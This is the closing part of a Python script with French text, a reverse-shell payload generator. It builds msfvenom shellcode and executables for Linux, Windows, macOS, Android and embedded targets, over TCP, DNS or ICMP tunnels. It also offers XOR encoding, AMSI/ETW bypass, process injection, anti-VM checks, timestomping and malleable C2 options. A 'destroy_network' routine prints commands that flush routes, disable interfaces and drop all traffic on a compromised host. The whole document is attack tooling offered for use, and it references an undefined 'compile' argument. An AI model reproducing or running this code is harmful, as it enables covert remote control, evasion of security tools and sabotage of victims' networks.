elif 'x64' in target:
payload = 'linux/x64/icmp_reverse_tcp'
elif 'windows' in target:
payload = 'windows/x64/icmp_reverse_tcp' if 'x64' in target else 'windows/x86/icmp_reverse_tcp'
else:
payload = 'linux/x64/icmp_reverse_tcp'
return msfvenom_payload(payload, ip, 53, 'raw', verbose)
def destroy_network(ip: str, verbose: bool = False):
print("\n💀 Destruction du réseau cible...")
print(" Commandes recommandées (à exécuter dans le shell) :")
print(" # Suppression des routes")
print(" ip route flush all")
print(" # Désactivation des interfaces")
print(" ip link set eth0 down")
print(" # Suppression des tables ARP")
print(" ip neigh flush all")
print(" # Désactivation du routage")
print(" echo 0 > /proc/sys/net/ipv4/ip_forward")
print(" # Blocage du trafic")
print(" iptables -P INPUT DROP")
print(" iptables -P OUTPUT DROP")
print(" iptables -P FORWARD DROP")
if verbose:
print("\n[!] Note : ces commandes sont destructrices et doivent être exécutées avec prudence.")
def interactive_selection(verbose: bool = False):
print("\n" + "="*60)
print(" Mode interactif – Génération de payload sur mesure")
print("="*60)
print("\n[1] Quel est le système d'exploitation cible ?")
print(" 1) Linux (serveur, routeur, embarqué)")
print(" 2) Windows")
print(" 3) macOS")
print(" 4) Android")
print(" 5) Autre / Inconnu")
os_choice = input("Votre choix (1-5) : ").strip()
while os_choice not in ['1', '2', '3', '4', '5']:
os_choice = input("Choix invalide. Entrez 1-5 : ").strip()
arch_map = {
'1': ['x86', 'x64', 'ARM (little)', 'ARM (big)', 'MIPS (big)', 'MIPS (little)', 'PowerPC'],
'2': ['x86', 'x64'],
'3': ['x64'],
'4': ['ARM', 'ARM64'],
'5': ['x86', 'x64', 'ARM', 'MIPS', 'PowerPC']
}
arch = 'x86'
if os_choice == '1':
print("\n[2] Quelle architecture ?")
arch_opts = arch_map['1']
for i, a in enumerate(arch_opts, 1):
print(f" {i}) {a}")
arch_idx = input("Votre choix : ").strip()
arch_list = ['x86', 'x64', 'arm', 'armbe', 'mips', 'mipsle', 'ppc']
try:
arch = arch_list[int(arch_idx)-1]
except:
arch = 'x86'
elif os_choice == '2':
arch = input("Architecture (x86/x64) [x64] : ").strip().lower()
if arch not in ['x86', 'x64']:
arch = 'x64'
elif os_choice == '3':
arch = 'x64'
elif os_choice == '4':
arch = input("Architecture (arm/arm64) [arm] : ").strip().lower()
if arch not in ['arm', 'arm64']:
arch = 'arm'
else:
arch = input("Architecture (x86/x64/arm/mips/ppc) [x64] : ").strip().lower()
if arch not in ['x86', 'x64', 'arm', 'mips', 'mipsle', 'ppc']:
arch = 'x64'
print("\n[3] Quel protocole de communication ?")
print(" 1) TCP direct (reverse shell classique)")
print(" 2) DNS tunneling (nécessite un serveur DNS C2)")
print(" 3) ICMP tunneling (nécessite un serveur ICMP C2)")
proto = input("Votre choix (1-3) : ").strip()
while proto not in ['1', '2', '3']:
proto = input("Choix invalide. Entrez 1-3 : ").strip()
ip = None
port = None
dns_server = None
dns_domain = None
if proto == '1':
ip = input("\n[4] Adresse IP du listener (ex: 192.168.1.10) : ").strip()
port = input("Port du listener (ex: 4444) : ").strip()
try:
port = int(port)
except:
port = 4444
elif proto == '2':
dns_server = input("\n[4] Adresse du serveur DNS pour le tunnel (ex: 192.168.1.10) : ").strip()
dns_domain = input(" Domaine à utiliser (ex: c2.local) : ").strip()
else:
ip = input("\n[4] Adresse IP du serveur ICMP (ex: 192.168.1.10) : ").strip()
print("\n[5] Options supplémentaires (o/n)")
stealth = input(" → Mode furtif (XOR + jitter) ? [n] : ").strip().lower() in ['o','oui','y','yes']
jitter_range = None
if stealth and proto == '1' and arch in ['x86', 'x64']:
jitter_range = input(" → Intervalle de jitter (secondes, ex: 5-15) [5-15] : ").strip()
if not jitter_range:
jitter_range = "5-15"
destroy = input(" → Détruire le réseau cible après le shell ? [n] : ").strip().lower() in ['o','oui','y','yes']
exe = input(" → Générer un exécutable (au lieu du shellcode brut) ? [n] : ").strip().lower() in ['o','oui','y','yes']
upx = input(" → Compresser avec UPX (si exe) ? [n] : ").strip().lower() in ['o','oui','y','yes']
encode = input(" → Encodage XOR supplémentaire ? (clé hexadécimale, laisser vide pour non) : ").strip()
key = None
if encode:
try:
key = int(encode, 16)
except:
print(" → Clé invalide, encodage ignoré.")
# Construire le nom de la cible
if os_choice == '1':
if arch == 'x86':
target = 'linux_x86'
elif arch == 'x64':
target = 'linux_x64'
elif arch == 'arm':
target = 'linux_armle' if input(" → Little endian ? [o] : ").strip().lower() in ['o','oui','y','yes'] else 'linux_armbe'
elif arch == 'mips':
target = 'linux_mips' if input(" → Big endian ? [o] : ").strip().lower() in ['o','oui','y','yes'] else 'linux_mipsle'
else:
target = 'linux_ppc'
elif os_choice == '2':
target = 'windows_x86' if arch == 'x86' else 'windows_x64'
elif os_choice == '3':
target = 'macos_x64'
elif os_choice == '4':
target = 'android_arm' if arch == 'arm' else 'android_arm64'
else:
target = 'linux_x64' # fallback
if target not in ['linux_x86', 'linux_x64']:
jitter_range = None
if stealth and verbose:
print("[!] Mode stealth (jitter) non disponible pour cette cible, désactivé.")
return (target, ip, port, dns_server, dns_domain,
stealth, jitter_range, destroy, exe, key, upx, proto)
# ========================== TARGETS (CROSS-PLATFORM) ==========================
TARGETS = {}
def linux_x86_generate(ip, port, jitter, verbose):
return compile_linux_shellcode(LINUX_X86_TEMPLATE, ip, port, 'x86', 'be', jitter, verbose)
def linux_x64_generate(ip, port, jitter, verbose):
return compile_linux_shellcode(LINUX_X64_TEMPLATE, ip, port, 'x64', 'be', jitter, verbose)
TARGETS['linux_x86'] = {
'name': 'Linux x86',
'bits': 32,
'arch': 'x86',
'endian': 'be',
'generate': linux_x86_generate,
'build_exe': lambda sc, upx, verbose: build_linux_executable(sc, 32, upx, verbose),
'make_executable': True,
'description': 'Reverse shell pour Linux x86 (Intel/AMD)',
}
TARGETS['linux_x64'] = {
'name': 'Linux x64',
'bits': 64,
'arch': 'x64',
'endian': 'be',
'generate': linux_x64_generate,
'build_exe': lambda sc, upx, verbose: build_linux_executable(sc, 64, upx, verbose),
'make_executable': True,
'description': 'Reverse shell pour Linux x64 (Intel/AMD)',
}
TARGETS['windows_x86'] = {
'name': 'Windows x86',
'bits': 32,
'arch': 'x86',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('windows/shell_reverse_tcp', ip, port, 'raw', verbose),
'build_exe': lambda sc, upx, verbose: generate_windows_exe(sc, verbose),
'make_executable': True,
'description': 'Reverse shell pour Windows 32 bits',
}
TARGETS['windows_x64'] = {
'name': 'Windows x64',
'bits': 64,
'arch': 'x64',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('windows/x64/shell_reverse_tcp', ip, port, 'raw', verbose),
'build_exe': lambda sc, upx, verbose: generate_windows_exe(sc, verbose),
'make_executable': True,
'description': 'Reverse shell pour Windows 64 bits',
}
TARGETS['macos_x64'] = {
'name': 'macOS x64',
'bits': 64,
'arch': 'x64',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('osx/x64/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour macOS 64 bits',
}
TARGETS['android_arm'] = {
'name': 'Android ARM',
'bits': 32,
'arch': 'arm',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('android/meterpreter/reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour Android ARM',
}
TARGETS['android_arm64'] = {
'name': 'Android ARM64',
'bits': 64,
'arch': 'arm64',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('android/meterpreter/reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour Android ARM64',
}
TARGETS['linux_mips'] = {
'name': 'Linux MIPS (big endian)',
'bits': 32,
'arch': 'mips',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/mips/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour routeurs MIPS (big endian)',
}
TARGETS['linux_mipsle'] = {
'name': 'Linux MIPS little endian',
'bits': 32,
'arch': 'mipsle',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/mipsle/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour routeurs MIPS (little endian)',
}
TARGETS['linux_armle'] = {
'name': 'Linux ARM (little endian)',
'bits': 32,
'arch': 'arm',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/armle/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour Linux ARM (little endian)',
}
TARGETS['linux_armbe'] = {
'name': 'Linux ARM (big endian)',
'bits': 32,
'arch': 'arm',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/armbe/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour Linux ARM (big endian)',
}
TARGETS['linux_ppc'] = {
'name': 'Linux PowerPC',
'bits': 32,
'arch': 'ppc',
'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/ppc/shell_reverse_tcp', ip, port, 'raw', verbose),
'make_executable': False,
'description': 'Reverse shell pour Linux PowerPC',
}
def generate(target: str, ip: str, port: int, stealth: bool = False,
dns_tunnel: bool = False, icmp_tunnel: bool = False,
dns_server: str = None, dns_domain: str = None,
jitter_range: str = None, embedded: bool = False, tiny: bool = False,
verbose: bool = False) -> bytes:
cfg = TARGETS[target]
if verbose:
print(f"\n{'='*60}")
print(f"[+] Cible : {cfg['name']}")
print(f"[+] Description : {cfg.get('description', '')}")
if dns_tunnel:
print(f"[+] DNS tunnel : serveur={dns_server}, domaine={dns_domain}")
elif icmp_tunnel:
print(f"[+] ICMP tunnel : serveur={ip}")
else:
print(f"[+] Listener : {ip}:{port}")
if stealth:
print("[+] Mode stealth activé (XOR + jitter)")
if jitter_range:
print(f"[+] Jitter : {jitter_range} secondes")
print(f"{'='*60}")
if dns_tunnel:
shellcode = generate_dns_payload(target, dns_server, dns_domain, verbose)
elif icmp_tunnel:
shellcode = generate_icmp_payload(target, ip, verbose)
else:
shellcode = cfg['generate'](ip, port, jitter_range if stealth else None, verbose)
return shellcode
def main():
parser = argparse.ArgumentParser(
description='Générateur de reverse shell ultime (2026) – Fusion cross-platform et techniques avancées',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='Exemples:\n'
' # Reverse shell classique (Linux x64)\n'
' %(prog)s --target linux_x64 --ip 192.168.1.10 --port 4444\n'
' # Windows avancé (100% syscalls, Ekko, bypass)\n'
' %(prog)s --target windows_x64 --ip 192.168.1.10 --port 4444 --syscall-full --ekko-robust --bypass-nextgen\n'
' # Mode interactif\n'
' %(prog)s --interactive\n'
'\nPour écouter : nc -lvnp 4444'
)
parser.add_argument('--target', choices=list(TARGETS.keys()), help='Cible (architecture/OS)')
parser.add_argument('--ip', help='IP du listener (pour TCP) ou serveur ICMP')
parser.add_argument('--port', type=int, help='Port du listener (pour TCP)')
parser.add_argument('--dns-tunnel', action='store_true', help='Utiliser le tunneling DNS')
parser.add_argument('--dns-server', help='Adresse du serveur DNS pour le tunnel')
parser.add_argument('--dns-domain', help='Domaine à utiliser pour le tunnel')
parser.add_argument('--icmp-tunnel', action='store_true', help='Utiliser le tunneling ICMP')
parser.add_argument('--jitter', help='Ajouter un délai aléatoire entre les beacons (ex: 5-15)')
parser.add_argument('--output', '-o', help='Fichier de sortie pour le shellcode brut')
parser.add_argument('--exe', action='store_true', help='Générer un exécutable (si supporté)')
parser.add_argument('--upx', action='store_true', help='Compresser l\'exécutable avec UPX (si disponible)')
parser.add_argument('--stealth', action='store_true', help='Activer les techniques d\'évasion (XOR + jitter)')
parser.add_argument('--destroy', action='store_true', help='Détruire le réseau cible après obtention du shell')
parser.add_argument('--embedded', action='store_true', help='Payload adapté pour BusyBox (shell minimal)')
parser.add_argument('--tiny', action='store_true', help='Générer un shellcode ultra-court')
parser.add_argument('--encode', choices=['xor'], help='Encoder le shellcode (XOR)')
parser.add_argument('--key', type=lambda x: int(x, 16), help='Clé pour XOR (hex)')
parser.add_argument('--interactive', action='store_true', help='Mode interactif (guide l\'utilisateur)')
parser.add_argument('-v', '--verbose', action='store_true', help='Afficher les étapes détaillées')
# Options avancées (Windows)
parser.add_argument('--syscall-full', action='store_true', help='Windows: 100% syscalls (Hell\'s Gate)')
parser.add_argument('--sleep-mask', action='store_true', help='Windows: Activer le sleep masking (Ekko-like)')
parser.add_argument('--ekko-robust', action='store_true', help='Windows: Ekko avec VEH + thread isolé')
parser.add_argument('--environmental', action='store_true', help='Windows: Environmental keying')
parser.add_argument('--anti-vm', action='store_true', help='Windows: Inclure des checks anti-VM')
parser.add_argument('--injection', choices=['hollowing', 'early_bird'], help='Windows: Technique d\'injection')
parser.add_argument('--inject-process', default='explorer.exe', help='Windows: Processus cible pour l\'injection')
parser.add_argument('--self-delete', action='store_true', help='Windows: Auto-suppression')
parser.add_argument('--timestomp', action='store_true', help='Windows: Modifier les timestamps')
parser.add_argument('--call-stack-spoof', action='store_true', help='Windows: Call stack spoofing')
parser.add_argument('--amsi-bypass', action='store_true', help='Windows: AMSI/ETW bypass')
parser.add_argument('--bypass-nextgen', action='store_true', help='Windows: Bypass next-gen (ETW patch, hardware breakpoint)')
parser.add_argument('--malleable-c2', action='store_true', help='Windows: Beacon HTTP/HTTPS malleable')
parser.add_argument('--malleable-profile', action='store_true', help='Windows: Profil complet (Cobalt Strike-like)')
parser.add_argument('--cipher', choices=['xor', 'rc4', 'aes', 'chacha'], default='xor', help='Algorithme de chiffrement')
parser.add_argument('--metamorph-deep', action='store_true', help='Windows: Métamorphisme profond pour analyse statique')
parser.add_argument('--c2-url', help='Windows: URL/domaine pour le C2 (http/https/dns)')
parser.add_argument('--c2-type', choices=['tcp', 'http', 'https', 'dns'], default='tcp', help='Type de C2')
args = parser.parse_args()
if args.interactive:
(target, ip, port, dns_server, dns_domain,
stealth, jitter_range, destroy, exe, key, upx, proto) = interactive_selection(args.verbose)
args.target = target
args.ip = ip
args.port = port
args.dns_tunnel = (proto == '2')
args.dns_server = dns_server
args.dns_domain = dns_domain
args.icmp_tunnel = (proto == '3')
args.jitter = jitter_range
args.stealth = stealth
args.destroy = destroy
args.exe = exe
args.upx = upx
if key is not None:
args.encode = 'xor'
args.key = key
if not args.target:
print("Erreur : paramètre --target manquant. Utilisez --interactive ou fournissez une cible.")
sys.exit(1)
# Vérifier les options avancées
advanced_used = any([args.syscall_full, args.sleep_mask, args.ekko_robust, args.environmental,
args.anti_vm, args.injection, args.self_delete, args.timestomp,
args.call_stack_spoof, args.amsi_bypass, args.bypass_nextgen,
args.malleable_c2, args.malleable_profile, args.metamorph_deep])
if advanced_used and not args.target.startswith('windows'):
print("❌ Les options avancées (syscall-full, ekko-robust, etc.) sont réservées aux cibles Windows.")
sys.exit(1)
# Si des options avancées sont utilisées et que la cible est Windows, on génère le loader C
if advanced_used and args.target.startswith('windows'):
# Générer le shellcode de base
if args.malleable_c2:
shellcode = b''
else:
if args.c2_type == 'tcp':
shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/shell_reverse_tcp',
args.ip, args.port, 'raw', args.verbose)
elif args.c2_type in ('http', 'https'):
shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/meterpreter/reverse_{args.c2_type}',
args.ip, args.port, 'raw', args.verbose)
elif args.c2_type == 'dns':
shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/dns_reverse_tcp',
args.c2_url, 53, 'raw', args.verbose)
else:
shellcode = None
if not args.malleable_c2 and shellcode is None:
print("❌ Échec de génération du shellcode de base.")
sys.exit(1)
options = {
'cipher': args.cipher,
'key': None if args.key is None else bytes([args.key]) if args.cipher == 'xor' else base64.b64decode(args.key),
'jitter_range': args.jitter,
'sleep_mask': args.sleep_mask,
'ekko_robust': args.ekko_robust,
'syscall_full': args.syscall_full,
'environmental': args.environmental,
'anti_vm': args.anti_vm,
'injection': args.injection,
'inject_process': args.inject_process,
'self_delete': args.self_delete,
'timestomp': args.timestomp,
'call_stack_spoof': args.call_stack_spoof,
'amsi_bypass': args.amsi_bypass,
'bypass_nextgen': args.bypass_nextgen,
'malleable_c2': args.malleable_c2,
'malleable_profile': args.malleable_profile,
'c2_url': args.c2_url,
'metamorph_deep': args.metamorph_deep,
}
c_code = generate_advanced_windows_loader(shellcode, options)
if args.compile:
out_file = args.output or 'payload'
if compile_c_source(c_code, out_file, 'windows', 'x64', args.verbose):
print(f"✅ Binaire compilé : {out_file}")
else:
print("❌ Compilation échouée")
else:
if args.output:
with open(args.output, 'w') as f:
f.write(c_code)
print(f"✅ Code source C sauvegardé : {args.output}")
else:
print(c_code)
sys.exit(0)
# Sinon, comportement classique du générateur cross-platform
if args.dns_tunnel:
if not args.dns_server or not args.dns_domain:
print("Erreur : --dns-tunnel nécessite --dns-server et --dns-domain")
sys.exit(1)
elif args.icmp_tunnel:
if not args.ip:
print("Erreur : --icmp-tunnel nécessite --ip")
sys.exit(1)
else:
if not args.ip or not args.port:
print("Erreur : paramètres --ip et --port requis pour le reverse TCP classique.")
sys.exit(1)
try:
shellcode = generate(args.target, args.ip, args.port,
args.stealth, args.dns_tunnel, args.icmp_tunnel,
args.dns_server, args.dns_domain,
args.jitter, args.embedded, args.tiny,
args.verbose)
except Exception as e:
print(f"\n❌ Erreur lors de la génération : {e}\n")
sys.exit(1)
if args.encode == 'xor':
if args.key is None:
print("\n❌ Erreur : --key est requis pour l'encodage XOR\n")
sys.exit(1)
cfg = TARGETS[args.target]
# XOR encoding (simple)
encoded = bytes([b ^ (args.key & 0xFF) for b in shellcode])
# On peut ajouter un stub polymorphique simple (optionnel)
# Pour l'instant on remplace directement
shellcode = encoded
print(f"[+] Encodage XOR avec clé 0x{args.key&0xFF:02x}")
elif args.stealth and not args.encode and not args.dns_tunnel and not args.icmp_tunnel:
random_key = random.randint(1, 255)
shellcode = bytes([b ^ random_key for b in shellcode])
print(f"[+] Encodage stealth avec clé 0x{random_key:02x}")
if args.output:
with open(args.output, 'wb') as f:
f.write(shellcode)
print(f"\n✅ Shellcode écrit dans {args.output} (taille: {len(shellcode)} octets)")
else:
hex_str = ''.join(f'\\x{b:02x}' for b in shellcode)
print(hex_str)
if args.exe:
cfg = TARGETS[args.target]
if cfg.get('make_executable') and cfg.get('build_exe'):
exe_data = cfg['build_exe'](shellcode, args.upx, args.verbose)
if exe_data:
out_exe = args.output + '.exe' if args.output else 'payload.exe'
with open(out_exe, 'wb') as f:
f.write(exe_data)
print(f"\n✅ Exécutable créé : {out_exe} (taille: {len(exe_data)} octets)")
else:
print("\n❌ La génération d'exécutable a échoué (vérifiez les dépendances).")
else:
print("\n❌ Génération d'exécutable non supportée pour cette cible.")
if args.destroy:
destroy_network(args.ip if args.ip else "cible", args.verbose)
print("\n" + "="*60)
print("[+] Résumé :")
print(f" Cible : {TARGETS[args.target]['name']}")
print(f" Shellcode : {len(shellcode)} octets")
if args.encode or (args.stealth and not args.encode and not args.dns_tunnel and not args.icmp_tunnel):
key_used = args.key if args.key else random_key
print(f" Encodage : XOR (clé 0x{key_used:02x})")
if args.exe and cfg.get('make_executable'):
print(f" Exécutable : généré")
if args.destroy:
print(" Mode destruction : activé (exécutez les commandes dans le shell)")
if args.jitter:
print(f" Jitter : {args.jitter} secondes")
if args.dns_tunnel:
print(f" DNS tunnel : {args.dns_server} / {args.dns_domain}")
if args.icmp_tunnel:
print(" ICMP tunnel : activé")
print(f"\n Pour tester, écoutez avec : nc -lvnp {args.port if args.port else 4444}")
print("="*60)
if __name__ == '__main__':
main()
Remarque : Le script complet est disponible dans le dépôt GitHub associé ou peut être obtenu directement auprès de l’auteur.